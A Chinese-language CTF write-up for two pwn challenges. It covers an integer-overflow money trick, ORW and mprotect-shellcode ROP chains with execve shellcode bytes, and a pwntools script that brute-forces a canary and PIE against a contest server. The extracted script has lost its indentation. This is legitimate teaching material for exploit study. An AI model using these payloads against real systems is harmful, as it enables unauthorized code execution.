烧烤摊(整数溢出+ROP+ORW)
看起来像菜单,但是不是堆题:

1跟2是啤酒和串,用来减去金额的,3是看还剩多少钱,4是买下摊子,关键函数在gaiming里面,有个判断条件own。
发现在4里面,如果买下摊子,own就能为1:

如何让金额达到10000?
看一下pijiu函数:

扣钱采用很粗暴的直接乘一个-10,那如果输入购买的啤酒是个负数,就能加钱

只要输入是个很大的负数就能爆很多米,然后就能顺利买下摊子,进入gaiming函数:


gaiming函数有很明显的栈溢出,这道题用checksec时候发现有canary,但是经过测试其实是没有的,看汇编代码也知道并没有:

gaiming函数先scanf一个值给v5,v5是栈变量,然后把v5的值赋给name,name是个data段上的变量
由于题目没有后门函数,又是静态编译,所以有三种利用方式:
1.mprotect+shellcode
2.ORW
3.ret2syscall
先展示一下第二种方法ORW:
ORW的思路是,先把flag路径写入,后面可以传给name,然后open传参name的地址,打开flag文件,read也把读出来的内容写到name地址,最后write从name地址写出来flag
open64(b”./flag”,0) 0 表示只读
read(3,name_addr,0x100) 3是文件描述符,name_addr是写入地址,0x100是写入多少
write(1,name_addr,0x100) 1是文件描述符,name_addr是读写地址,0x100是读写多少(输出到屏幕)

# open(b'./flag\x00\x00', 0)
ORW = p64(pop_rdi_addr) + p64(name_addr) + p64(pop_rsi_addr) + p64(0) +p64(elf.sym["open64"])
# read(3, name_addr, 0x50)
ORW += p64(pop_rdi_addr) + p64(3) + p64(pop_rsi_addr) + p64(name_addr) + p64(pop_rdx_rbx_addr) + p64(0x100) + p64(0) + p64(elf.sym["read"])
# write(1, name_addr, 0x50)
ORW += p64(pop_rdi_addr) + p64(1) + p64(pop_rsi_addr) + p64(name_addr) + p64(pop_rdx_rbx_addr) + p64(0x100) + p64(0) + p64(elf.sym["write"])
只要保证rsi rdi rdx是规定值就行,可以有多余寄存器,给他们随便赋什么值都可以,只要记得赋值维持栈平衡就行

另一种思路:
虽然有NX,但是想到是静态编译,通常都会有mprotect,用mprotect修改某段为可执行,然后写入shellcode跳转就行

mprotect调用:
payload1=cyclic(0x28)+p64(pop_rdi_addr)+p64(0x4E6000)+p64(pop_rsi_addr)+p64(0x3000)+p64(pop_rdx_rbx_addr)+p64(0x7)+p64(0)+p64(elf.sym["mprotect"])+p64(ret_addr)+p64(elf.sym["main"])
io.sendline(payload1)
调用完后再返回main函数,这时候写入shellcode并跳转到name_addr执行
payload = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'.ljust(0x28, b'a') +p64(name_addr)
io.sendline(payload)
这里有几个坑点:
1.shellcode一定要找对,我一开始找的21字节shellcode用不了,又找了个23字节的可以用,所以有时候拿不到shell不是因为exp写不对,而是找的shellcode不对
2.mprotect函数指定的修改地址必须是一个内存页的起始地址,而且大小必须是内存页整数倍,一页是4k,也就是0x1000,所以修改地址必须保证后三位为0,大小必须是n*0x1000,而最后跳转到执行shellcode的位置并不是修改内存页的起始位置(低级错误)
3.记得添加ret保持栈平衡
其实还有更简单的一条龙:
前面填充直接填shellcode,后面返回不用返回到main,直接回到shellcode执行就行

rop=p64(pop_rdi_addr)+p64(0x4E6000)+p64(pop_rsi_addr)+p64(0x3000)+p64(pop_rdx_rbx_addr)+p64(0x7)+p64(0)+p64(elf.sym[“mprotect”])+p64(ret_addr)+p64(name_addr)
payload = b’\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05′.ljust(0x28, b’a’)
payload += rop
io.sendline(payload)
第三种方法:
ret2syscall
具体不细说了,比较常规
funcanary:
main函数用while 1死循环重复调用了fork()函数创建子进程,一看就是要爆破canary

正常退出(也就是通过canary检测)就会进入else分支,执行函数sub_128A,这里是溢出点:

同时本题还给了后门函数:

所以思路就是,爆破canary,溢出到后门函数执行,由于本题还开了PIE,所以PIE还得爆破一下,由于后三位不变,而后门函数与返回地址最极端就只是最后四位有差别,所以实际上爆破的只有倒数第四位。
exp:
from pwn import *
context.log_level = 'info'
#io = process('/home/monke/PWN/funcanary')
io = remote('49.232.142.230', 13574)
elf = ELF('/home/monke/PWN/funcanary')
io.recvuntil(b'welcome\n')
canary = b'\x00'
for k in range(7):
for i in range(256):
payload = b'a' * 0x68 + canary + bytes([i])
io.send(payload)
data = io.recvuntil('welcome\n')
print(data)
if b"fun" in data:
canary += bytes([i])
print("canary is:" + str(canary))
break
io.send(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x02')
buf=io.recvuntil(b'welcome\n')
print(buf)
io.send(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x12')
buf=io.recvuntil(b'welcome\n')
print(buf)
io.send(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x22')
buf=io.recvuntil(b'welcome\n')
print(buf)
io.send(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x32')
buf=io.recvuntil(b'welcome\n')
print(buf)
io.send(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x42')
buf=io.recvuntil(b'welcome\n')
print(buf)
io.send(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x52')
buf=io.recvuntil(b'welcome\n')
print(buf)
io.send(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x62')
buf=io.recvuntil(b'welcome\n')
print(buf)
io.send(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x72')
buf=io.recvuntil(b'welcome\n')
print(buf)
io.send(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x82')
buf=io.recvuntil(b'welcome\n')
print(buf)
io.send(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x92')
buf=io.recvuntil(b'welcome\n')
print(buf)
io.send(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\xa2')
buf=io.recvuntil(b'welcome\n')
print(buf)
io.send(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\xb2')
buf=io.recvuntil(b'welcome\n')
print(buf)
io.send(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\xc2')
buf=io.recvuntil(b'welcome\n')
print(buf)
io.send(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\xd2')
buf=io.recvuntil(b'welcome\n')
print(buf)
io.send(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\xe2')
buf=io.recvuntil(b'welcome\n')
print(buf)
io.send(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\xf2')
buf=io.recvuntil(b'welcome\n')
print(buf)
io.interactive()
